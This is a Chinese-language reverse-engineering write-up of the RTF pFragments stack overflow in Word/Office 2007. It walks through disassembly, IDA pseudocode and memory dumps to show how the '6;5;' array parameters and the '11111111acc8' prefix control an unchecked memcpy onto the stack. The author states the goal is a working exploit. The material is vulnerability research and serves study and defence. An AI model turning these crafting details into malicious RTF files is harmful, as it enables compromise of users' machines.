327C002F cmp [ebp +Dst], 0 .text: 327C0033 jz short loc_327C0054 .text: 327C0035 mov ecx , [ebp +arg_0] .text: 327C0038 mov eax , [ecx +0Ch ] .text: 327C003B and eax , 0FFFFh .text: 327C0040 push eax .text: 327C0041 imul eax , [ebp +arg_8] .text: 327C0045 add eax , [ecx +10h ] .text: 327C0048 push eax .text: 327C0049 push [ebp +Dst] .text: 327C004C call memcpy .text: 327C0051 add esp , 0Ch .text: 327C0054 pop ebp .text: 327C0055 retn 0Ch | | ↓ ↓ .text: 32E595A4 mov eax , [ebp +arg_C] .text: 32E595A7 push [ebp +arg_10] .text: 32E595AA neg eax .text: 32E595AC sbb eax , eax .text: 32E595AE lea ecx , [ebp +var_8] .text: 32E595B1 and eax , ecx .text: 32E595B3 push eax .text: 32E595B4 push [ebp +arg_0] .text: 32E595B7 push [ebp +var_10] .text: 32E595BA call sub_32E5941B .text: 32E595BF test al , al | | ↓ ↓ **************************************************************************************** char __userpurge sub_32E5941B@<al >(int a1@<edi >, int a2, int a3, int a4, int a5) **************************************************************************************** .text: 32E5941B push ebp .text: 32E5941C mov ebp , esp .text: 32E5941E push ecx .text: 32E5941F push ecx .text: 32E59420 push ebx .text: 32E59421 xor ebx , ebx .text: 32E59423 cmp [ebp +arg_C], ebx .text: 32E59426 jnz short loc_32E59439 .text: 32E59428 push 33757061h .text: 32E5942D call sub_32E6AEA8 .text: 32E59432 .text: 32E59432 loc_32E59432: .text: 32E59432 xor al , al .text: 32E59434 .text: 32E59434 loc_32E59434: .text: 32E59434 pop ebx .text: 32E59435 leave .text: 32E59436 retn 10h .text: 32E59439 .text: 32E59439 .text: 32E59439 loc_32E59439: .text: 32E59439 cmp [ebp +arg_0], ebx .text: 32E5943C mov [ebp +var_8], ebx .text: 32E5943F jz short loc_32E59451 .text: 32E59441 push [ebp +arg_0] .text: 32E59444 lea eax , [ebp +var_8] .text: 32E59447 push eax .text: 32E59448 call sub_32CF3807 .text: 32E5944D test eax , eax | | ↓ ↓ ************************************************** int __stdcall sub_32CF3807(int a1, int a2) ************************************************** .text: 32CF3807 push ebp .text: 32CF3808 mov ebp , esp .text: 32CF380A mov eax , [ebp +arg_4] .text: 32CF380D lea eax , loc_32CF3820[eax *8 ] .text: 32CF3814 mov ecx , [eax +4 ] .text: 32CF3817 and ecx , 0FFh .text: 32CF381D push ecx .text: 32CF381E push dword ptr [eax ] .text: 32CF3820 loc_32CF3820: .text: 32CF3820 push [ebp +arg_0] .text: 32CF3823 call sub_326CC86E .text: 32CF3828 pop ebp .text: 32CF3829 retn 8
根据以上结果,我们可以知道,此异常
是因为栈上的数据
已经被破坏
了之后,重新读取
被破坏区域的栈数据,计算出一个不可访问的地址
,并对其进行读取
,造成非法内存访问
。在函数sub_32E5955E
中,通过0x066a55e0
处的对象
,调用了虚函数sub_327C002C
,在这个虚函数中通过memcpy
函数将样本中pFragments属性的值
复制到栈
上,但并未检查
其复制长度,造成了栈溢出
。pFragments属性数据的源地址
和复制数据长度
都已经解析完成,并保存在0x066a55e0
处的对象
的成员变量
中。pFragments属性数据在栈
上的起始地址
为0x0011fdf4
,而复制数据的长度为0xc8ac
,0x0011fdf4+0xc8ac=0x0012c6a0小于0x00130000
,所以没像在Windows XP
中那样,在复制数据过程中就触发异常,而是在访问被破坏的栈数据后,造成非法内存访问
。
0x33 pFragments属性数据“6;5;”的含义及其合法值 环境:
Win7&Office2007
这个点,我看网上的分析文章都没有介绍到,也可能有人写了,我没找到。如果没弄清楚这个,就无法成功编写利用程序,我们需要注意每一个细节,才能最终成功利用一个漏洞。
在RTF v1.9.1
版本的参考文档中(Document Area->Drawing Objects->Drawing Object Properties->Geometry),是这样介绍的:
Property
Meaning
Type of value
Default
pFragments
Fragments are optional, additional parts to the shape. They allow the shape to contain multiple paths and parts. This property lists the fragments of the shape.
Array
Null
Fragments
是可选的,形状的附加部分。它们允许形状
包含多个路径
和部件
。此属性列出形状
的Fragments。其属性值
是一个Array
,默认值为Null
。
数组
的格式为由分号
分隔的数字序列
。 第一个数字
表示数组中每个元素的大小
(以字节为单位)。每个元素的字节数可以是2、4或8
。当元素的大小为8
时,每个元素表示为一组两个数字
,但是根据下面的分析,每组数字
使用的括号为"()"
,而非"{}"
。第二个数字
表示数组中的元素数
。 例如,方形多边形
的点可以写为:
1 {sv 8;4;{0,0};{100,0};{100,100};{0,100}}
这里已经说得比较清楚
了,但是这些还不够,我们还需要通过具体的程序
来进一步理解。我们需要找到程序中处理这部分的代码
,仔细阅读。怎么找到
,成为了一个新问题。
找关键位置所用方法:
1、前面调试时,关键对象
的地址为0x066a55e0
,但是每次重新调试
,这个对象的位置都会改变
,也有可能
和之前的调试
分配一样的地址。
2、在Attach
目标程序后,对0x066a55e0
对象的前0x10字节
内存下内存写断点
(0x066a55e0的第一个dword
为虚表指针
,0x066a55ec
为复制长度0xc8ac
所在对象成员变量的内存地址)。
3、再运行程序,如果已经执行到之前调试奔溃时
代码区域的最顶层函数sub_32E5955E
,还未断下来,则关闭调试器,重新再来一遍
。
4、直到某一次程序对关键对象
的地址分配到0x066a55e0
,则会断在对关键对象
初始化的位置,这时栈窗口会出现"pFragments"
和"11111111acc8d9e9bdbfaf3c......"
的字样,此时的代码就是Office处理"pFragments"属性值
的代码片段。
5、然后根据调用堆栈
,可以找到当前函数地址
,以及当前函数的调用地址
,及其父函数
等等。
如此,我们就已经找到处理"pFragments"属性值
的代码片段。对“6;5;”
的处理代码应该就在附近,我们对找到的代码片段进行详细分析
,本次调试记录中的关键对象
地址为0x05D755C8
,在MSO_379
得到分配,画“<----”
的为关键位置,处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 ******************************************* 所属模块: wwlib.dll int __stdcall sub_31FD724E(int *a1) ******************************************* .text: 31FD724E push ebp .text: 31FD724F mov ebp , esp .text: 31FD7251 sub esp , 64h .text: 31FD7254 push ebx .text: 31FD7255 push esi .text: 31FD7256 mov esi , [ebp +arg_0] .text: 31FD7259 mov ebx , [esi ] .text: 31FD725B and [ebp +arg_0], 0 .text: 31FD725F push edi .text: 31FD7260 mov edi , [ebx +8Ch ] .text: 31FD7266 push 0 .text: 31FD7268 push edi .text: 31FD7269 mov [ebp +var_10], ebx .text: 31FD726C call sub_312C7431 .text: 31FD7271 mov edi , [edi +556h ] .text: 31FD7277 mov eax , [ebx +761Ch ] .text: 31FD727D lea ecx , [ebp +var_64] .text: 31FD7280 push ecx .text: 31FD7281 push dword ptr [ebx +7670h ] .text: 31FD7287 mov [ebp +var_14], eax .text: 31FD728A mov eax , [edi ] .text: 31FD728C push edi .text: 31FD728D mov [ebp +var_18], edi .text: 31FD7290 call dword ptr [eax +158h ] | | ↓ ↓ ***************************************************************************** 所属模块: mso.dll signed int __stdcall sub_329202C7(int a1, const CHAR *a2, _DWORD *a3) ***************************************************************************** .text: 329202C7 push ebp .text: 329202C8 mov ebp , esp .text: 329202CA push [ebp +arg_4] .text: 329202CD push 1 .text: 329202CF call MSO_7788 | | ↓ ↓ .text: 32604566 mov eax , dword_33426764 .text: 3260456B retn | | ↓ ↓ .text: 329202D4 push eax .text: 329202D5 call MSO_763 .text: 329202DA cmp eax , 0FFFFh .text: 329202DF jz loc_32D8FCA5 .text: 329202E5 push esi .text: 329202E6 push edi .text: 329202E7 mov edi , [ebp +arg_8] .text: 329202EA push eax .text: 329202EB mov [edi +14h ], eax .text: 329202EE call MSO_806 .text: 329202F3 push 5 .text: 329202F5 pop ecx .text: 329202F6 mov esi , eax .text: 329202F8 rep movsd .text: 329202FA xor eax , eax .text: 329202FC pop edi .text: 329202FD inc eax .text: 329202FE pop esi .text: 329202FF .text: 329202FF loc_329202FF: .text: 329202FF pop ebp .text: 32920300 retn 0Ch | | ↓ ↓ .text: 31FD7296 test eax , eax .text: 31FD7298 jz loc_31FD731E .text: 31FD729E mov eax , [ebp +var_64] .text: 31FD72A1 cmp eax , 11h .text: 31FD72A4 ja short loc_31FD72E6 .text: 31FD72A6 movzx eax , ds :byte_31FD723C[eax ] .text: 31FD72AD jmp ds :off_31FD7210[eax *4 ] | | ↓ ↓ .text: 319C0556 loc_319C0556: .text: 319C0556 .text: 319C0556 mov esi , [ebx +7674h ] 023B0000 36 3B 35 3B 31 31 31 31 31 31 31 31 61 63 63 38 6 023B0010 34 31 36 31 33 30 34 31 36 31 33 31 34 31 36 31 4161304161314161 023B0020 33 32 34 31 36 31 33 33 34 31 36 31 33 34 34 31 3241613341613441 023B0030 36 31 33 35 34 31 36 31 33 36 34 31 36 31 33 37 6135416136416137 023B0040 34 31 36 31 33 38 34 31 36 31 33 39 34 31 36 32 4161384161394162 023B0050 33 30 34 31 36 32 33 31 34 31 36 32 33 32 34 31 3041623141623241 023B0060 36 32 33 33 34 31 36 32 33 34 34 31 36 32 33 35 6233416234416235 023B0070 34 31 36 32 33 36 34 31 36 32 33 37 34 31 36 32 4162364162374162 023B0080 33 38 34 31 36 32 33 39 34 31 36 33 33 30 34 31 3841623941633041 023B0090 36 33 33 31 34 31 36 33 33 32 34 31 36 33 33 33 6331416332416333 023B00A0 34 31 36 33 33 34 34 31 36 33 33 35 34 31 36 33 4163344163354163 023B00B0 33 36 34 31 36 33 33 37 34 31 36 33 33 38 34 31 3641633741633841 .text: 319C055C mov eax , esi .text: 319C055E loc_319C055E: .text: 319C055E cmp byte ptr [esi ], 3Bh .text: 319C0561 jz loc_315E7ED1 .text: 319C0567 inc esi .text: 319C0568 cmp byte ptr [esi ], 0 .text: 319C056B jnz short loc_319C055E | | ↓ ↓ 315E7ED1 C606 00 mov byte ptr ds :[esi ],0x0 315E7ED4 46 inc esi 315E7ED5 E9 93863D00 jmp wwlib.319C056D | | ↓ ↓ .text: 319C056D loc_319C056D: .text: 319C056D push eax .text: 319C056E call sub_31BAF3C6 | | ↓ ↓ ****************************************** 所属模块: wwlib.dll int __stdcall sub_31BAF3C6(int a1) ****************************************** .text: 31BAF3C6 push ebp .text: 31BAF3C7 mov ebp , esp .text: 31BAF3C9 push esi .text: 31BAF3CA push [ebp +arg_0] .text: 31BAF3CD xor esi , esi .text: 31BAF3CF call sub_3203D37F | | ↓ ↓ ************************************************ 所属模块: wwlib.dll _BYTE *__stdcall sub_3203D37F(_BYTE *a1) ************************************************ .text: 3203D37F push ebp .text: 3203D380 mov ebp , esp .text: 3203D382 mov eax , [ebp +arg_0] .text: 3203D385 loc_3203D385: .text: 3203D385 mov cl , [eax ] .text: 3203D387 cmp cl , 9 .text: 3203D38A jz loc_31602C3A .text: 3203D390 cmp cl , 20h .text: 3203D393 jz loc_31602C3A .text: 3203D399 pop ebp .text: 3203D39A retn 4 | | ↓ ↓ .text: 31BAF3D4 .text: 31BAF3D4 loc_31BAF3D4: .text: 31BAF3D4 mov cl , [eax ] .text: 31BAF3D6 cmp cl , 30h .text: 31BAF3D9 jnb short loc_31BAF3B4 | | ↓ ↓ .text: 31BAF3B4 loc_31BAF3B4: .text: 31BAF3B4 inc eax .text: 31BAF3B5 cmp cl , 39h .text: 31BAF3B8 ja short loc_31BAF3DB .text: 31BAF3BA imul esi , 0Ah .text: 31BAF3BD movzx ecx , cl .text: 31BAF3C0 lea esi , [esi +ecx -30h ] .text: 31BAF3C4 jmp short loc_31BAF3D4 | | ↓ ↓ .text: 31BAF3D4 .text: 31BAF3D4 loc_31BAF3D4: .text: 31BAF3D4 mov cl , [eax ] .text: 31BAF3D6 cmp cl , 30h .text: 31BAF3D9 jnb short loc_31BAF3B4 .text: 31BAF3DB loc_31BAF3DB: .text: 31BAF3DB mov eax , esi .text: 31BAF3DD pop esi .text: 31BAF3DE pop ebp .text: 31BAF3DF retn 4 | | ↓ ↓ .text: 319C0573 mov edi , eax .text: 319C0575 mov eax , esi .text: 319C0577.text: 319C0577 loc_319C0577: .text: 319C0577 cmp byte ptr [esi ], 0 .text: 319C057A jnz loc_31E269F1 | | ↓ ↓ .text: 31E269F1 cmp byte ptr [esi ], 3Bh .text: 31E269F4 jz short loc_31E269FC .text: 31E269F6 inc esi .text: 31E269F7 jmp loc_319C0577 | | ↓ ↓ .text: 31E269FC mov byte ptr [esi ], 0 .text: 31E269FF inc esi .text: 31E26A00 jmp loc_319C0580 | | ↓ ↓ .text: 319C0580 loc_319C0580: .text: 319C0580 push eax .text: 319C0581 call sub_31BAF3C6 .text: 319C0586 mov [ebp +ppstm], eax .text: 319C0589 lea eax , [ebp +var_8] .text: 319C058C push eax .text: 319C058D push edi .text: 319C058E call MSO_379 | | ↓ ↓ ************************************************************ 所属模块: mso.dll signed int __stdcall MSO_379(__int16 a1, _DWORD *a2) ************************************************************ .text: 326CCB92 push ebp .text: 326CCB93 mov ebp , esp .text: 326CCB95 push esi .text: 326CCB96 push 18h .text: 326CCB98 call _MsoPvAllocCore@4 .text: 326CCB9D test eax , eax .text: 326CCB9F jz loc_32C9662C .text: 326CCBA5 mov dword ptr [eax ], mso.32A0C8C4 .text: 326CCBAB mov esi , eax .text: 326CCBAD .text: 326CCBAD loc_326CCBAD: .text: 326CCBAD test esi , esi .text: 326CCBAF jz loc_32C96633 .text: 326CCBB5 mov ax , [ebp +arg_0] .text: 326CCBB9 push 4 .text: 326CCBBB mov [esi +0Ch ], ax .text: 326CCBBF push 4 .text: 326CCBC1 lea eax , [esi +4 ] .text: 326CCBC4 push eax .text: 326CCBC5 call MSO_501 | | ↓ ↓ **************************************************************** 所属模块: mso.dll signed int __stdcall MSO_501(int a1, __int16 a2, int a3) **************************************************************** .text: 326098B5 push ebp .text: 326098B6 mov ebp , esp .text: 326098B8 push 0 .text: 326098BA push [ebp +arg_8] .text: 326098BD push [ebp +arg_4] .text: 326098C0 push [ebp +arg_0] .text: 326098C3 call sub_32608E17 | | ↓ ↓ ***************************************************************************** 所属模块: mso.dll signed int __stdcall sub_32608E17(int a1, __int16 a2, int a3, int a4) ***************************************************************************** .text: 32608E17 push ebp .text: 32608E18 mov ebp , esp .text: 32608E1A push esi .text: 32608E1B mov esi , [ebp +arg_0] .text: 32608E1E push edi .text: 32608E1F mov edi , [ebp +arg_8] .text: 32608E22 lea eax , [ebp +arg_0] .text: 32608E25 push eax .text: 32608E26 movzx eax , word ptr [esi +8 ] .text: 32608E2A push edi .text: 32608E2B push eax .text: 32608E2C call sub_32608E81 .text: 32608E31 test eax , eax .text: 32608E33 jz loc_32BD823F .text: 32608E39 mov eax , [ebp +arg_4] .text: 32608E3C movzx ecx , word ptr [esi +8 ] .text: 32608E40 and eax , 7FFFh .text: 32608E45 shl eax , 10h .text: 32608E48 or eax , ecx .text: 32608E4A mov ecx , [ebp +arg_C] .text: 32608E4D xor edx , edx .text: 32608E4F cmp edi , edx .text: 32608E51 mov [esi +8 ], eax .text: 32608E54 lea eax , [esi +0Ch ] .text: 32608E57 mov [esi ], edx .text: 32608E59 mov [esi +4 ], edx .text: 32608E5C mov [eax ], edx .text: 32608E5E mov [esi +10h ], ecx .text: 32608E61 jbe short loc_32608E78 .text: 32608E63 push ecx .text: 32608E64 push eax .text: 32608E65 push [ebp +arg_0] .text: 32608E68 call MSO_234 .text: 32608E6D test eax , eax .text: 32608E6F jl loc_32BD823F .text: 32608E75 mov [esi +4 ], edi .text: 32608E78 .text: 32608E78 loc_32608E78: .text: 32608E78 xor eax , eax .text: 32608E7A inc eax .text: 32608E7B .text: 32608E7B loc_32608E7B: .text: 32608E7B pop edi .text: 32608E7C pop esi .text: 32608E7D pop ebp .text: 32608E7E retn 10h | | ↓ ↓ .text: 326098C8 pop ebp .text: 326098C9 retn 0Ch | | ↓ ↓ .text: 326CCBCA test eax , eax .text: 326CCBCC jz loc_32C9663A .text: 326CCBD2 mov eax , [ebp +arg_4] .text: 326CCBD5 mov [eax ], esi .text: 326CCBD7 xor eax , eax .text: 326CCBD9 inc eax .text: 326CCBDA .text: 326CCBDA loc_326CCBDA: .text: 326CCBDA pop esi .text: 326CCBDB pop ebp .text: 326CCBDC retn 8
通过仔细分析,我们可以发现,对“pFragments”
属性数据的处理逻辑
,都在wwlib.dll
的sub_31FD724E
函数中,但是分析了这么久,只找到了“6;5;”
中的“6”
和“5”
,也就是数组元素的大小
和数组元素个数
都使用10进制
表示的,未做其他判断。从前面rtf的文档中关于“pFragments”
属性的介绍可以知道,数组元素的大小
可以为2、4或8
,这个并没有找到。我们通过IDA的F5反编译
功能,查看sub_31FD724E
的伪代码,或许会发现点什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 int __stdcall sub_31FD724E (int *a1) { ...... _BYTE *temp_ptr; int el_size_ptr; int el_size; int el_count_ptr; int byte_num; HGLOBAL mem_ptr; int index; char *mem_lock_ptr; unsigned __int8 chr_hex; char chr; char new_char; unsigned __int8 chr_hex1; _BYTE *group_part_ptr2; _BYTE *group_part_ptr; char current_char; int count1; _BYTE *array_element_ptr1; int count; _BYTE *array_element_ptr; int result; int case_num; int group_part_value1; int group_part_value2; int array_element_value; int array_element_value1; int Src; LPCVOID pMem; _BYTE *group_part_ptr1; int *count2; int *key_object; LPSTREAM el_count; ...... result = (*(int (__stdcall **)(int *, int , int *))(v44 + 344 ))(v42, v43, &case_num); if ( !result ) return result; result = case_num; switch ( case_num ) { ...... case 6 : temp_ptr = (_BYTE *)*((_DWORD *)v39 + 0x1D9D ); el_size_ptr = *((_DWORD *)v39 + 0x1D9D ); break ; ...... default : ...... } while ( *temp_ptr != ';' ) { if ( !*++temp_ptr ) goto LABEL_25; } *temp_ptr++ = 0 ; LABEL_25: el_size = sub_31BAF3C6(el_size_ptr); el_count_ptr = (int )temp_ptr; while ( *temp_ptr ) { if ( *temp_ptr == ';' ) { *temp_ptr++ = 0 ; break ; } ++temp_ptr; } el_count = (LPSTREAM)sub_31BAF3C6(el_count_ptr); result = MSO_379(el_size, &key_object); if ( !result ) return result; switch ( el_size ) { case 2 : count = 0 ; if ( (signed int )el_count <= 0 ) goto LABEL_47; while ( 1 ) { array_element_ptr = temp_ptr; while ( 1 ) { if ( !*temp_ptr ) goto LABEL_88; if ( *temp_ptr == ';' ) break ; ++temp_ptr; } *temp_ptr++ = 0 ; LABEL_88: array_element_value = (unsigned __int16)sub_32046D00(array_element_ptr); if ( !(*(int (__stdcall **)(int *, int *, int ))(*key_object + 12 ))(key_object, &array_element_value, count) ) return (*(int (__stdcall **)(int *))(*key_object + 4 ))(key_object); if ( ++count >= (signed int )el_count ) goto LABEL_47; } case 4 : count1 = 0 ; if ( (signed int )el_count <= 0 ) goto LABEL_47; while ( 1 ) { array_element_ptr1 = temp_ptr; while ( 1 ) { if ( !*temp_ptr ) goto LABEL_79; if ( *temp_ptr == ';' ) break ; ++temp_ptr; } *temp_ptr++ = 0 ; LABEL_79: array_element_value1 = sub_32046D00(array_element_ptr1); if ( !(*(int (__stdcall **)(int *, int *, int ))(*key_object + 12 ))(key_object, &array_element_value1, count1) ) return (*(int (__stdcall **)(int *))(*key_object + 4 ))(key_object); if ( ++count1 >= (signed int )el_count ) goto LABEL_47; } case 8 : group_part_ptr2 = 0 ; group_part_ptr1 = 0 ; count2 = 0 ; if ( (signed int )el_count <= 0 ) goto LABEL_47; while ( !*temp_ptr ) { LABEL_72: group_part_value1 = sub_32046D00(group_part_ptr1); group_part_value2 = sub_32046D00(group_part_ptr2); if ( !(*(int (__stdcall **)(int *, int *, int *))(*key_object + 12 ))(key_object, &group_part_value1, count2) ) return (*(int (__stdcall **)(int *))(*key_object + 4 ))(key_object); count2 = (int *)((char *)count2 + 1 ); if ( (signed int )count2 >= (signed int )el_count ) goto LABEL_47; } group_part_ptr = temp_ptr + 1 ; while ( 1 ) { current_char = *temp_ptr; if ( *temp_ptr == ';' ) { *temp_ptr++ = 0 ; goto LABEL_72; } if ( current_char == '(' ) { group_part_ptr1 = group_part_ptr; } else { if ( current_char == ',' ) { group_part_ptr2 = group_part_ptr; } else if ( current_char != ')' ) { goto LABEL_71; } *temp_ptr = 0 ; } LABEL_71: ++temp_ptr; ++group_part_ptr; if ( !*temp_ptr ) goto LABEL_72; } } byte_num = MSO_294(temp_ptr); count2 = (int *)byte_num; mem_ptr = GlobalAlloc(0x40 u, (byte_num + 1 ) / 2 ); index = 0 ; mem_lock_ptr = (char *)GlobalLock(mem_ptr); pMem = mem_lock_ptr; if ( (signed int )count2 <= 0 ) goto LABEL_46; do { if ( pFragments_value[index] < (unsigned __int8)'0' ) goto LABEL_44; *mem_lock_ptr = 0 ; chr_hex = pFragments_value[index]; if ( chr_hex >= '0' && chr_hex <= '9' ) { chr = chr_hex - '0' ; LABEL_36: *mem_lock_ptr = chr; goto LABEL_37; } if ( chr_hex >= 'a' && chr_hex <= 'f' ) { chr = (chr_hex | ' ' ) - 87 ; goto LABEL_36; } LABEL_37: *mem_lock_ptr *= 16 ; new_char = *mem_lock_ptr; do ++index; while ( pFragments_value[index] < (unsigned __int8)'0' && index < (signed int )count2 ); chr_hex1 = pFragments_value[index]; if ( chr_hex1 < '0' || chr_hex1 > '9' ) { if ( chr_hex1 >= 'a' && chr_hex1 <= 'f' ) *mem_lock_ptr = new_char + (chr_hex1 | ' ' ) - 87 ; } else { *mem_lock_ptr = chr_hex1 + new_char - '0' ; } ++mem_lock_ptr; LABEL_44: ++index; } while ( index < (signed int )count2 ); v39 = group_part_ptr1; LABEL_46: v17 = GlobalHandle(pMem); CreateStreamOnHGlobal(v17, 1 , &el_count); (*(void (__stdcall **)(int *, LPSTREAM))(*key_object + 0x38 ))(key_object, el_count); el_count->lpVtbl->Release(el_count); ...... }
通过对sub_31FD724E
函数的伪代码分析可知,Word在解析完“pFragments”
属性值数组参数el_size
后,会利用一个switch-case
语句对el_size
的值进行判断,如果为2,4,8
会进行额外处理,非2,4,8
则默认不会处理。而如果为0
的话,会在MSO_379
->MSO_501
->sub_32608E17
->sub_32608E81
中的"32608EAE div ecx"
处出错,el_size
被当做”div ecx”中的除数
(ecx),造成除数为0
的错误。
继续往下执行,Word会对“pFragments”
属性值数组参数
后面的数据进行处理。在RTF
中,字符“A”
是以其16进制值“41”
的16进制值“3431”
进行存储的,所以Word
会对RTF
文档中的数据进行一次转化,转化过程
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Address 0 1 2 3 4 5 6 7 8 9 A B C D E F ASCII 023A0004 31 31 31 31 31 31 31 31 61 63 63 38 34 31 36 31 11111111acc84161 023A0014 33 30 34 31 36 31 33 31 34 31 36 31 33 32 34 31 3041613141613241 023A0024 36 31 33 33 34 31 36 31 33 34 34 31 36 31 33 35 6133416134416135 023A0034 34 31 36 31 33 36 34 31 36 31 33 37 34 31 36 31 4161364161374161 023A0044 33 38 34 31 36 31 33 39 34 31 36 32 33 30 34 31 3841613941623041 023A0054 36 32 33 31 34 31 36 32 33 32 34 31 36 32 33 33 6231416232416233 023A0064 34 31 36 32 33 34 34 31 36 32 33 35 34 31 36 32 4162344162354162 023A0074 33 36 34 31 36 32 33 37 34 31 36 32 33 38 34 31 3641623741623841 023A0084 36 32 33 39 34 31 36 33 33 30 34 31 36 33 33 31 6239416330416331 023A0094 34 31 36 33 33 32 34 31 36 33 33 33 34 31 36 33 4163324163334163 023A00A4 33 34 34 31 36 33 33 35 34 31 36 33 33 36 34 31 3441633541633641 023A00B4 36 33 33 37 34 31 36 33 33 38 34 31 36 33 33 39 6337416338416339 | | | | ↓ ↓ ↓ ↓ Address 0 1 2 3 4 5 6 7 8 9 A B C D E F ASCII 003AFF68 11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41 Aa0Aa1Aa2A 003AFF78 61 33 41 61 34 41 61 35 41 61 36 41 61 37 41 61 a3Aa4Aa5Aa6Aa7Aa 003AFF88 38 41 61 39 41 62 30 41 62 31 41 62 32 41 62 33 8Aa9Ab0Ab1Ab2Ab3 003AFF98 41 62 34 41 62 35 41 62 36 41 62 37 41 62 38 41 Ab4Ab5Ab6Ab7Ab8A 003AFFA8 62 39 41 63 30 41 63 31 41 63 32 41 63 33 41 63 b9Ac0Ac1Ac2Ac3Ac 003AFFB8 34 41 63 35 41 63 36 41 63 37 41 63 38 41 63 39 4Ac5Ac6Ac7Ac8Ac9 003AFFC8 41 64 30 41 64 31 41 64 32 41 64 33 41 64 34 41 Ad0Ad1Ad2Ad3Ad4A 003AFFD8 64 35 41 64 36 41 64 37 41 64 38 41 64 39 41 65 d5Ad6Ad7Ad8Ad9Ae 003AFFE8 30 41 65 31 41 65 32 41 65 33 41 65 34 41 65 35 0Ae1Ae2Ae3Ae4Ae5 003AFFF8 41 65 36 41 65 37 41 65 38 41 65 39 41 66 30 41 Ae6Ae7Ae8Ae9Af0A 003B0008 66 31 41 66 32 41 66 33 41 66 34 41 66 35 41 66 f1Af2Af3Af4Af5Af 003B0018 36 41 66 37 41 66 38 41 66 39 41 67 30 41 67 31 6Af7Af8Af9Ag0Ag1
经过测试“pFragments”
属性值数组参数中的el_size
可以是除了“0,2,4,8”
之外的任何10进制正整数
,如果为“0,2,4,8”
中的任意一个,都会造成Word奔溃
。而el_count
则无限制,任何10进制整数
都可以,负的
也行。
0x34 pFragments属性数据中“11111111acc8”的含义 环境:
Win7&Office2007
前面我们已经知道“11111111acc8”
中的“acc8”
为Word将pFragments属性数据
复制到栈
上的数据长度
,可是为什么要偏移8字节
呢,这8字节有什么限制
吗?这些都是要搞清楚的。
从前面对奔溃原因溯源
的调试中可以知道,复制数据长度“0xc8ac”
是从关键对象
(0x066a55e0)的成员变量
中取出的,所以,我们知道对其下内存写断点
,就可以断在对此成员变量赋值
的位置,也就是对“11111111acc8”
进行解析的代码处。
找关键位置所用方法:
1、在Attach
目标程序后,对0x066a55e0
对象的第4个dword
下内存写断点
(0x066a55ec
为复制长度0xc8ac
所在对象成员变量的内存地址)。
2、再运行程序,如果已经执行到之前调试奔溃时
代码区域的最顶层函数sub_32E5955E
,还未断下来,则关闭调试器,重新再来一遍
。
3、直到某一次程序对关键对象
的地址分配到0x066a55e0
,则会断在对关键对象
初始化的位置,这时注意OllyDbg的信息窗口中的信息,是否是对关键对象0x066a55e0
的第4个dword
赋值复制数据长度“0xc8ac”,如果是,则已经定位到解析“11111111acc8”
的代码处。
4、然后根据调用堆栈
,可以找到当前函数地址
,以及当前函数的调用地址
,及其父函数
等等。
如此,我们已经找到解析“11111111acc8”
的代码片段。“acc8”
偏移8字节
的原因以及这8字节
是否有什么限制
的代码应该就在附近,我们对找到的代码片段详细分析
,画“<----”
的为关键位置,处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 .text: 319C0631 loc_319C0631: .text: 319C0631 lea eax , [ebp +el_count] .text: 319C0634 push eax .text: 319C0635 push 1 .text: 319C0637 push [ebp +pMem] .text: 319C063A call ds :GlobalHandle .text: 319C0640 push eax .text: 319C0641 call ds :CreateStreamOnHGlobal .text: 319C0647 mov eax , [ebp +var_8] .text: 319C064A push [ebp +el_count] .text: 319C064D mov ecx , [eax ] .text: 319C064F push eax .text: 319C0650 call dword ptr [ecx +38h ] | | ↓ ↓ ********************************************************* 所属模块: mso.dll signed int __stdcall sub_32E14136(int a1, int a2) ********************************************************* .text: 32E14136 push ebp .text: 32E14137 mov ebp , esp 